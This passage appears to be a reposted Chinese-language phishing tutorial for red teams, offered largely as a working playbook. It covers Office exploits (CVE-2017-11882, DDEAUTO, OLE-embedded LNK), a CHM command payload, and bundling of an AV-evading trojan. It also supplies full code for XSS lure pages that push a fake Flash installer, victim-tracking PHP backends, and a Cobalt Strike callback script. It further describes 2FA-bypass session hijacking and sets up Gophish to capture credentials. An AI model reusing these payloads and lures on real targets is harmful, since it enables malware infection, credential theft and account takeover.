這個功能的本意是為了更方便地在 word 里同步更新其它應用的內容,比如說在一個 word 文檔里引用了另一個 excel 表格里的某項內容,通過連接域 (Field) 的方式可以實現在 excel 里更新內容后 word 中同步更新的效果,問題出在這個域的內容可以是一個公式 (或者說表達式),這個公式並不限制內容。

GitHub:

https://github.com/Ridter/CVE-2017-11882

使用:

python Command109b_CVE-2017-11882.py -c"cmd.exe /c calc.exe"-otest.doc

生成 test.doc 文檔,靶機打開。成功彈出加算器

1640090248_61c1ca88978c67b7f1d7a.png!small?1640090266724

msf 復現。

項目

https://github.com/0x09AL/CVE-2017-11882-metasploitexploit/windows/fileformat/office_ms17_11882

有點不穩,老是上線不了

1640090269_61c1ca9d6f1b39d414266.png!small?1640090287593

配合 HTA上線

exploit/windows/misc/hta_server
http://192.168.2.148:8080/IbsbCdtZ.ht

1640090283_61c1caabaedc094c94726.png!small?1640090301823

靶機打開test2.doc直接上線

1640090316_61c1cacc60d1344a86781.png!small?1640090334551

CHM 電子書

CHM(Compiled Help Manual)即“已編譯的幫助文件”。它是微軟新一代的幫助文件格式,利用HTML作源文,把幫助內容以類似數據庫的形式編譯儲存。

制作CHM需要用到一個工具 EasyCHM(http://www.etextwizard.com/)

新建一個html文件,編碼格式ANSI,向里面寫入如下內容

<!DOCTYPE html><html><head><title>Mousejack
replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd.exe,/c calc.exe'> 
//這一排用於執行命令,注意 cmd.exe 前后都有,或者<PARAM name="Item1"
value=',powershell.exe,-c calc.exe'>也行
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

用easychm,新建-瀏覽-選擇html文件所在目錄-編譯

1640090373_61c1cb05d2ea64aae1a9b.png!small?1640090392112

生成一個chm,雙擊,打開了計算器

1640090381_61c1cb0de8015d66f8829.png!small?1640090400134

office OLE+LNK

核心目標是創建一個內嵌的lnk文件誘導用戶點擊,從而執行命令。word,excel都能使用

我們創建一個快捷方式如下

1640090397_61c1cb1d5b586fe57053a.png!small?1640090415471

其目標處填寫的是

%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -command calc

然后打開word文件,插入對象,選擇package,為了更加逼真勾選顯示為圖標,然后可以更改圖標,我們在更改圖標處選擇一個迷惑性比較大的圖標

1640090408_61c1cb28bdcb95cec2acb.png!small?1640090426889

然后進入創建軟件包界面,選擇我們剛剛創建的lnk文件,寫好卷標名,然后就把軟件包插入到word界面了,只要用戶點擊該軟件包並選擇執行,則會執行我們在lnk中定義的代碼

1640090415_61c1cb2ff08fc89addfeb.png!small?16400904340901640090424_61c1cb3842271dc778340.png!small?16400904423521640090429_61c1cb3d50a52f3661a0f.png!small?1640090447566

 

捆綁文件

K8免殺系統自帶捆綁器加強版V2.0.EXE

超級文件捆綁器

1640090445_61c1cb4d7ed38cdbc2678.png!small?1640090463542

生成,執行之后會執行cmd.exe一樣的效果,但此時后門軟件也被執行了。

Word DDE

在word文件里,輸入 ctrl+F9,進入到域代碼編輯。我們可以鍵入以下代碼使文件在被打開時執行系統命令(word2019復現未成功,word2016成功,似乎是word版本問題
這個蠻實用的,目前眾多word是默認禁用宏的,dde只需要用戶點擊兩個按鈕即可執行,實用性比宏好

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"

隨后在打開該文件時會出現兩個對話框,全點是就會執行以上命令了

1640090458_61c1cb5a3f60d43408bec.png!small?16400904763001640090463_61c1cb5fce66233f23609.png!small?16400904819021640090468_61c1cb64f3de7d0383279.png!small?1640090487083

 

XSS、SSRF釣魚

利用XSS漏洞釣魚

XSS最常見的利用就是獲取cookie。

通過XSS漏洞, 可以插入各種js代碼,來實現釣魚操作。

一些在線的XSS平台(最好自己搭建),也可以進行一些簡單的xss釣魚操作。

BeEF工具,利用xss漏洞也挺好用

XSS釣魚的一些思路:https://www.sqlsec.com/2020/10/xss2.html

兩個案例:https://cloud.tencent.com/developer/article/1517803

https://www.freebuf.com/vuls/228042.html

SSRF釣魚

案例: https://www.freebuf.com/vuls/229694.html

 

魚竿部署

使用魚竿,以判斷目標是否上鈎、哪些目標上鈎。

 

xss釣魚,cna插件配合php后端收桿:

https://github.com/timwhitez/Doge-XSS-Phishing(具體看flash釣魚實例)

https://github.com/TheKingOfDuck/XSS-Fishing2-CS

 

企業微信上線:

eval.js: (魚鈎)

var body = document.body;
var _left =  window.innerWidth * 0.3 + 'px';
var _top = window.innerHeight * 0.3 + 'px';
var _height = window.innerHeight;
body.innerHTML=`<div style="background-color: white;height: ${_height}px"><div style='position:absolute;top:${_top};left:${_left};height:300px;width:600px;'><img src='http://192.168.111.252/Phishing/sdp.png' style='margin:3px;'>
     <p><h3 >喔唷,崩潰啦!</h3></p >
     <p style='color:gray'>顯示此網頁時出了點問題,請在您的頁面上啟用顯示插件,從而可能會有所幫助。</br></p >
     <a href='http://*.*.*.*/xxx.exe'>
     <button style='margin-left:85%;height:30px;line-hight:30px;outline:none;border:none;background-color:rgb(26,115,232);color:white'  >立即修復</button></a>
     </div></div>
     `;
	 

1640139081_61c28949c07fc86dae13e.png!small?1640139081076

xss.php: (魚竿)

<?php
$xssPayload = file_get_contents("eval.js");
$db = "botIPs.txt";

$ip = $_SERVER["REMOTE_ADDR"];
$botIP = @$_GET['ip'];

if ($botIP != 'NULL') {
    echo $botIP;
}

if (!is_null($botIP)) {
    $bots = fopen($db, "a") or die("Unable to open bots file!");
    fwrite($bots, base64_encode($botIP) . "\n");
    fclose($bots);

    $url = 'https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=********************';
    $data = array("msgtype" => "text", "text" => array("content" => "New Bot Online:" . $botIP));

    $postdata = json_encode($data);

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    $result = curl_exec($ch);
    curl_close($ch);
    print_r($result);

} 
else{

    if (file_exists($db)) {
        $line = file_get_contents($db);
        $botIPs = explode("\n", $line);
    }


    if (@in_array(base64_encode($ip), $botIPs)) {
        header('Content-type: text/javascript');
        echo "var hb;";
    } else {
        #header('Content-type: text/javascript');
        #echo $xssPayload;
		echo "<html><meta http-equiv='Content-Type' content='text/html;charset=utf-8' /><body><script language=javascript>$xssPayload</script></body></html>";
		#<script src="eval1.js" type="javascript"></script>
    }
}

?>


sendIp.cnd :(魚竿)

on beacon_initial {
    $webhook = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=*****************************";
    local('$externalIP $computerName $userName');
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");

    $message = 'New Bot Online: \n\n Computer name:'.$computerName.'\n\nUsername:'.$userName.'\n\nexternalIP:'.$externalIP;


	$xssApi = "http://39.*.*.*/xss.php?ip=".$externalIP;
    @curl_command = @('curl', '-X', 'GET', $xssApi);
    exec(@curl_command);


}

 

兩種:

用戶名密碼  收桿  —>  gophish (會顯示操作系統和瀏覽器版本信息)(看下面實例)

CS 上線   收桿   —>   cna插件配合PHP后端收桿

 

其他情況

雙因子驗證

idea:

1640139198_61c289be087a84d374b17.png!small?1640139197307

Muraena、NecroBrowser工具

http://blog.itpub.net/31559985/viewspace-2647951/

原理:

大多數人所熟悉的傳統網絡釣魚攻擊是由虛假登錄頁面組成的,這些頁面在攻擊者控制的web服務器上,並由與目標網站名稱相似的自定義域名提供服務。然而,這種靜態攻擊對使用雙因素身份驗證的在線服務無效,因為沒有與合法網站進行交互來觸發生成一次性代碼。沒有這些代碼,攻擊者就無法使用釣魚憑證登錄。
為了繞過2FA,攻擊者需要讓他們的釣魚網站充當代理,代表受害者轉發請求到合法網站,並實時回傳。最終目標不僅是為了獲取用戶名和密碼,而是真正網站用來關聯登錄賬號的活動會話令牌(也被稱為會話cookie)。通過將這些會話cookie放在瀏覽器中,可以直接訪問與它們關聯的帳戶,而不需要進行身份驗證。

 

Muraena、NecroBrowser是如何工作的:

Muraena是用Go編程語言編寫的,這意味着它可以在任何Go可用的平台上被編譯和運行。一旦部署完成,攻擊者就可以配置他們的釣魚域名,並為其獲得合法的證書——例如,通過非營利性的Let's Encrypt證書頒發機構。
該工具包含一個充當反向代理的小型web服務器和一個爬蟲程序。該爬蟲程序可以自動確定從合法網站代理哪些資源。代理在傳遞來自受害者的請求之前重寫這些請求。
爬蟲程序會自動生成一個JSON配置文件,然后可以手動修改該文件來繞過更復雜網站上的各種防御機制。該軟件包包括對谷歌、GitHub和Dropbox的示例配置文件。
一旦受害者登陸一個由Muraena提供支持的釣魚網站,登錄過程就會和真正的網站完全一樣。網站會要求用戶輸入他們的2FA驗證碼。當他們提供驗證碼並完成身份驗證之后,代理會竊取會話cookie。
會話令牌通常由瀏覽器存儲在一個文件中,並在后續請求中提供服務。這種方法可以使網站自動向瀏覽器提供一段時間內不需要密碼登陸而(會話長度)訪問帳戶的權限。Muraena可以自動將收集到的會話cookie傳送給它的第二個組件NecroBrowser,而NecroBrowser可以立即開始濫用這些cookie。
NecroBrowser是一個可以通過API進行控制的微服務,進行配置以后可以通過在Docker容器內運行的Chromium無頭實例執行操作。根據可用的服務器資源,攻擊者可以同時生成數十個或數百個這樣的容器,每個容器都有一個從受害者那里竊取的會話cookie。
僵屍瀏覽器實例執行的操作可以完全自動化。例如,根據賬戶類型的不同,可以對電子郵件進行截屏、啟動密碼重置、將惡意密鑰上傳到GitHub或者在郵箱添加惡意轉發地址。瀏覽器實例還可以用來收集社交網絡上聯系人和朋友的信息,甚至可以通過類似蠕蟲的攻擊向這些朋友發送釣魚信息。

 

muraenahttps://github.com/muraenateam/muraena

NecroBrowser : https://github.com/muraenateam/necrobrowser

 

實例

XSS+Flash釣魚

原理

在目標會訪問的網站上,利用JS精心構造頁面誘導用戶下載木馬。

條件:

1、情況一,目標網站存在存儲型XSS漏洞,構造JS讓用戶下載flash;情況二,克隆一個視頻網站,誘導受害者訪問,訪問時通過JS提示用戶下載更新flash。

2、一個免殺木馬,免殺效果一定要有,總不能落地就被殺了吧

3、購買一個迷惑性的域名,如 http://www.f1ash.cn/(這里測試,就不買了)

4、上線通知和自動收桿插件,避免一直盯着頁面,上鈎后還要卸載頁面。

 

參考:

flash頁: https://github.com/r00tSe7en/Fake-flash.cn

JS :  https://github.com/timwhitez/Doge-XSS-Phishing

魚竿:https://github.com/TheKingOfDuck/XSS-Fishing2-CS

文章:https://xz.aliyun.com/t/7958

 

實現

魚鈎隱藏:

XSS:

直接在視頻網站插入這個js文件即可

<script src="/test.js"></script>

.js 需要注意下面這幾個點:

1.判斷UA,電腦端才加載exe,android則加載apk

2.向后台API發送查詢,是否上鈎了,是的話不加載,不是的話加載

3.js一定要注意混淆和命名,采用原生ajax,兼容性會更好

test..js:

var returnCitySN = {"cip": "0.0.0.0", "bobo": "000000"};
//document.write("<script src='http://pv.sohu.com/cityjson?ie=utf-8'></script>");
document.write("<script src='http://192.168.111.234/flash_phish_test/XSS-Phishing/bobo.php?getaddr=123'></script>");


//上線檢測
function isRise(ip,bobo) {
    var xmlHttp;
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest();
    } else {
        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlHttp.open("GET", "http://192.168.111.234/flash_phish_test/XSS-Phishing/bobo.php?search="+ip, "true");
    xmlHttp.send();
    xmlHttp.onreadystatechange = function() {
		//alert(xmlHttp.responseText)
        if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
            var resData = xmlHttp.responseText;
            if (resData == "in" && bobo == "111111") {
            } else {
				document.write("<script src='http://192.168.111.234/flash_phish_test/XSS-Phishing/bobo.php?bobo=1'></script>");
                download();
            }
        }
    }
}

//下載
function download(){
    alert("您的FLASH版本過低,請嘗試升級后訪問該頁面!");
    window.location.href="http://192.168.111.234/flash_phish_test/fake_flash/";
}

//判斷是否是PC
function isPc() {
    if (navigator.userAgent.match(/(iPhone|Android)/i)) {
        return false;
    } else {
        return true;
    }
}

//load,ipbase64編碼后,傳遞給后端
window.onload = function(){
    if(!isPc()){
        alert("當前頁面只能在電腦PC端中加載,請稍后重試...");
    }else{
        isRise(returnCitySN["cip"], returnCitySN["bobo"]);
    }
}

 

釣魚網站(flash):

這里直接下載源碼部署在本地了

1640139366_61c28a6609188a980b4dd.png!small?1640139365357

修改下載路徑:

1640139375_61c28a6fea83ab61a98a5.png!small?1640139375199

 

木馬:

將免殺CS馬與正常flash按照程序綁定,放在本地

這里使用自解壓的方法偽造,再使用reshacker更改一下圖標

最終效果如下:

1640139385_61c28a79293ce86871f99.png!small?1640139384480

(flash.exe+muma.exeà自解壓配置à修改圖標)

 

魚竿感知:

cna插件配合php后端收桿

搭建bobo.php, 路徑為http://www.xxx.com/bobo.php

<?php

$db = "botIPs.txt";
$addr = $_SERVER["REMOTE_ADDR"];

header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Credentials: true");


if(isset($_GET['getaddr'])){
	header('Content-type: text/json; charset=utf-8');
	if (isset($_COOKIE['bobo'])){
		echo 'var returnCitySN = {"cip": "'.$addr.'", "bobo":"111111"};';
		}
		else{
			echo 'var returnCitySN = {"cip": "'.$addr.'", "bobo": "000000"};';
		}
}
if(isset($_GET['bobo'])){
	setcookie("bobo","bobo", time()+3600*240);	
}


if(isset($_GET['ip'])){
	$botIP = @$_GET['ip'];
	$line = file_get_contents($db);
	$botIPs = explode("\n", $line);
	if (@in_array(base64_encode($botIP), $botIPs)) {
		echo "ip exist";
	}else {
		$bots = fopen($db, "a") or die("Unable to open bots file!");
		fwrite($bots, base64_encode($botIP) . "\n");
		fclose($bots);
	}
}


if(isset($_GET['search'])){

	$ip = @$_GET['search'];

	if (file_exists($db)) {
		$line = file_get_contents($db);
		$botIPs = explode("\n", $line);
		if (@in_array(base64_encode($ip), $botIPs)) {
			echo "in";
		}else {
			echo "bobo";
		}
	}
}
?>

在php根目錄新建botIPs.txt文件用於存儲已上線ip

使用cobalt strike 的agscript加載cna插件

1640139430_61c28aa67168562bcdc73.png!small?1640139429704

./agscript [host] [port] [user] [password] [/path/to/sendip.cna]

等待上線即可

上線之后,相同IP再次訪問,不會彈框

 

效果演示

部署好網站。

在CS目錄運行:

./agscript [host] [port] [user] [password] [/path/to/sendip.cna]

1640139458_61c28ac26ce361052fa31.png!small?1640139457690

1、訪問視頻網站提示

1640139479_61c28ad791dee1f27eeb2.png!small?1640139478798

2、點擊確定,跳轉到flash下載界面

1640139501_61c28aedacbaab847d4aa.png!small?1640139500970

3、 點擊下載,會下載綁有木馬的flash安裝程序,但是用戶無感知

1640139506_61c28af28ca53521cc856.png!small?1640139505843

4、受害者運行exe,上線

1640139514_61c28afacf5e83a382507.png!small?1640139514303

 

Gophish+EwoMail釣魚

Gophish

安裝

下載:

wget https://github.com/gophish/gophish/releases/download/v0.11.0/gophish-v0.11.0-linux-64bit.zip

解壓:

unzip gophish-v0.11.0-linux-64bit.zip

1640139527_61c28b07ab6509fb88dff.png!small?1640139527180

修改config.json 中 127.0.0.1 為 0.0.0.0 。

80端口代表釣魚網站開放的端口;后台管理頁面開放的端口是3333

1640139537_61c28b112d800fa9ee1c5.png!small?1640139536556

修改權限,運行

chmod +x gophish

./gophish

訪問https://IP:3333/

可能會提示證書不正確,依次點擊高級—繼續轉到頁面,輸入默認賬密進行登錄:admin/gophish

也有可能不是默認密碼,在vps啟動./gophish之后,會在命令行中給出一個臨時密碼,用臨時密碼登錄之后再設置新的密碼。

1640139548_61c28b1c8d6e5b311cc74.png!small?1640139547804

 

訪問釣魚界面:

打開瀏覽器,訪問http://ip:80/由於我們還未配置釣魚頁面,提示小段的404 page not found說明運行正常

1640139561_61c28b29351699e1f728e.png!small?1640139560437

Gophish搭建完成

1640139569_61c28b3145c6e2374fc0e.png!small?1640139568496

 

功能

進入后台后,左邊的欄目即代表各個功能,分別是Dashboard儀表板、Campaigns釣魚事件、Users & Groups用戶和組、Email Templates郵件模板、Landing Pages釣魚頁面、Sending Profiles發件策略六大功能

1640139580_61c28b3c7ea74d9ab92b2.png!small?1640139579809

1. User & Groups 用戶和組

Users & Groups的作用是將釣魚的目標郵箱導入gophish中准備發送

 

點擊New Group新建一個釣魚的目標用戶組。

Name:Name 是為當前新建的用戶組命名。

Bulk Import Users:Bulk Import Users是批量導入用戶郵箱,它通過上傳符合特定模板的CSV文件來批量導入目標用戶郵箱點擊旁邊灰色字體的Download CSV Template可以下載特定的CSV模板文件。其中,模板文件的Email是必填項,其余的Frist Name、Last Name、Position可選填。

Add:除了批量導入目標用戶的郵箱,gophish也提供了單個郵箱的導入方法,這對於開始釣魚前,釣魚組內部測試十分方便,不需要繁瑣的文件上傳,直接填寫Email即可,同樣其余的Frist Name、Last Name、Position可選填。

1640139603_61c28b535cbb6829eb88e.png!small?1640139602659

 

2、Email Templates 釣魚郵件模板

創建相應的釣魚郵件模板 此處釣魚模板可直接進行編輯,也可導入其他郵箱的模板。

Name:同樣的,這個字段是對當前新建的釣魚郵件模板進行命名。

Import Email:gophish為編輯郵件內容提供了兩種方式,

第一種就是Import Email,用戶可以先在自己的郵箱系統中設計好釣魚郵件,然后發送給自己或其他伙伴,收到設計好的郵件后,打開並選擇導出為eml文件或者顯示郵件原文,然后將內容復制到gophish的Import Email中,即可將設計好的釣魚郵件導入。

 

這里直接在 QQ 郵箱打開一封信,點擊顯示原文們就可以復制,導入,粘貼進去。

效果:

1640139619_61c28b63a38013da5d314.png!small?1640139619365

需要注意,在點擊Import之前需要勾選上Change Links to Point to Landing Page,該功能實現了當創建釣魚事件后,會將郵件中的超鏈接自動轉變為釣魚網站的URL。

 

Subject:Subject 是郵件的主題,通常為了提高郵件的真實性,需要自己去編造一個吸引人的主題。

內容編輯框:內容編輯框是編寫郵件內容的第二種模式,內容編輯框提供了Text和HTML兩種模式來編寫郵件內容,使用方式與正常的編輯器無異。其中HTML模式下的預覽功能比較常用到,在編輯好內容后,點擊預覽,就可以清晰看到郵件呈現的具體內容以及格式。

Add Tracking Image:Add Tracking Image 是在釣魚郵件末添加一個跟蹤圖像,用來跟蹤受害用戶是否打開了收到的釣魚郵件。默認情況下是勾選的,如果不勾選就無法跟蹤到受害用戶是否打開了釣魚郵件(注:跟蹤受害用戶是否點擊釣魚鏈接以及捕捉提交數據不受其影響)Add Files:Add Files 是在發送的郵件中添加附件,一是可以添加相關文件提高郵件真實性,二是可以配合免殺木馬誘導受害用戶下載並打開

當填寫完以上字段后,點擊Save Template,就能保存當前編輯好的釣魚郵件模板。

 

3.Landing Pages 釣魚頁面

配置好釣魚郵件后,就可以通過LandingPages模塊來新建釣魚網站頁面,此處支持手寫 html文件,也可通過導入網站功能。

Name:Name 是用於為當前新建的釣魚頁面命名。

Import Site:gophish為釣魚頁面的設計提供了兩種方式,

第一種則是Import Site,點擊Import Site后,填寫被偽造網站的URL,再點擊Import,即可通過互聯網自動抓取被偽造網站的前端代碼。

內容編輯框是編輯釣魚頁面的第二種方法,但是絕大多數情況下,它更偏向於用來輔助第一種方法,即對導入的頁面進行源碼修改以及預覽。

 

(重點)Capture Submitted Data:

通常,進行釣魚的目的往往是捕獲受害用戶的用戶名及密碼,因此,在點擊Save Page之前,記得一定要勾選Capture Submitted Data當勾選了Capture Submitted Data后,頁面會多出一個Capture Passwords的選項,顯然是捕獲密碼。通常,可以選擇勾選上以驗證賬號的可用性。如果僅僅是測試並統計受害用戶是否提交數據而不泄露賬號隱私,則可以不用勾選另外,當勾選了Capture Submitted Data后,頁面還會多出一個Redirect to,其作用是當受害用戶點擊提交表單后,將頁面重定向到指定的URL。可以填寫被偽造網站的URL,營造出一種受害用戶第一次填寫賬號密碼填錯的感覺(一般來說,當一個登錄頁面提交的表單數據與數據庫中不一致時,登錄頁面的URL會被添加上一個出錯參數,以提示用戶賬號或密碼出錯,所以在Redirect to中,最好填寫帶出錯參數的URL)

 

這里克隆DVWA登錄界面做演示

1640139659_61c28b8be244caa162288.png!small?1640139659165

填寫好以上參數,點擊Save Page,即可保存編輯好的釣魚頁面

 

4、Sending Profiles 發件策略

Sending Profiles的主要作用是將用來發送釣魚郵件的郵箱配置到gophish。

點擊New Profile新建一個策略,依次來填寫各個字段。填寫剛才新建的發送郵箱地址和用戶名.

Name:Name字段是為新建的發件策略進行命名,不會影響到釣魚的實施。

Interface Type:Interface Type 是接口類型,默認為SMTP類型且不可修改,因此需要發件郵箱開啟SMTP服務,但是大部分機器 smtp 的 25 端口被禁用了,因此需要配置成 465 端口。

From:From 是發件人,即釣魚郵件所顯示的發件人。(在實際使用中,一般需要進行近似域名偽造).

Host:Host 是smtp服務器的地址,格式是smtp.example.com:25.

Username:Username 是smtp服務認證的用戶名.Password:Password 是smtp服務認證的密碼.

(可選)Email Headers:Email Headers 是自定義郵件頭字段,例如郵件頭的X-Mailer字段,若不修改此字段的值,通過gophish發出的郵件,其郵件頭的X-Mailer的值默認為gophish

正常配置應該類似這樣:

1640139678_61c28b9e092ecc63d1516.png!small?1640139677401

(但是這里未搭建EwoMail,也沒買域名,用QQ郵箱轉發測試)

進去QQ郵箱-》設置-》賬戶-》開啟 POP3/SMTP服務

1640139710_61c28bbe04f04f40af237.png!small?1640139709618

用戶和from 都填 qq 郵箱賬號

密碼填授權碼

1640139725_61c28bcdd36f438f1b565.png!small?1640139725206

1640139732_61c28bd4e13070fb5537f.png!small?1640139732210

成功發送:

1640139741_61c28bddca3ed994f8907.png!small

 

5、  Campaigns

創建任務發送釣魚郵件,可設置分批發送郵件(Launch Date)

1640139767_61c28bf754180d69a4f73.png!small?1640139766636

管理頁面,可以看到成功發出2封郵件。

1640139775_61c28bffe7d67263ed6a8.png!small?1640139775484

受害者成功收到釣魚郵件點擊鏈接打開輸入了賬號及密碼,點擊了login,之后釣魚頁面自動跳轉到真正的系統

1640139784_61c28c083f6d19d4745a3.png!small

再次刷新Gophish后台,可以看到結果:

1640139804_61c28c1c33bc34fc756cf.png!small?16401398035011640139870_61c28c5ee8aae3e349034.png!small?16401398703621640139892_61c28c74428afe72d6c20.png!small?1640139891540

 

 

 

 

參考

https://xz.aliyun.com/t/6763

https://xz.aliyun.com/t/5412

https://xz.aliyun.com/t/6325

https://xz.aliyun.com/t/7958

https://xz.aliyun.com/t/10339

https://paper.seebug.org/1329/

https://www.freebuf.com/articles/web/227694.html

https://www.freebuf.com/articles/network/267251.html

https://www.freebuf.com/articles/web/258184.html

https://www.freebuf.com/articles/web/263612.html

https://www.freebuf.com/articles/web/260391.html

https://www.freebuf.com/articles/network/276463.html

https://www.anquanke.com/post/id/231444

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM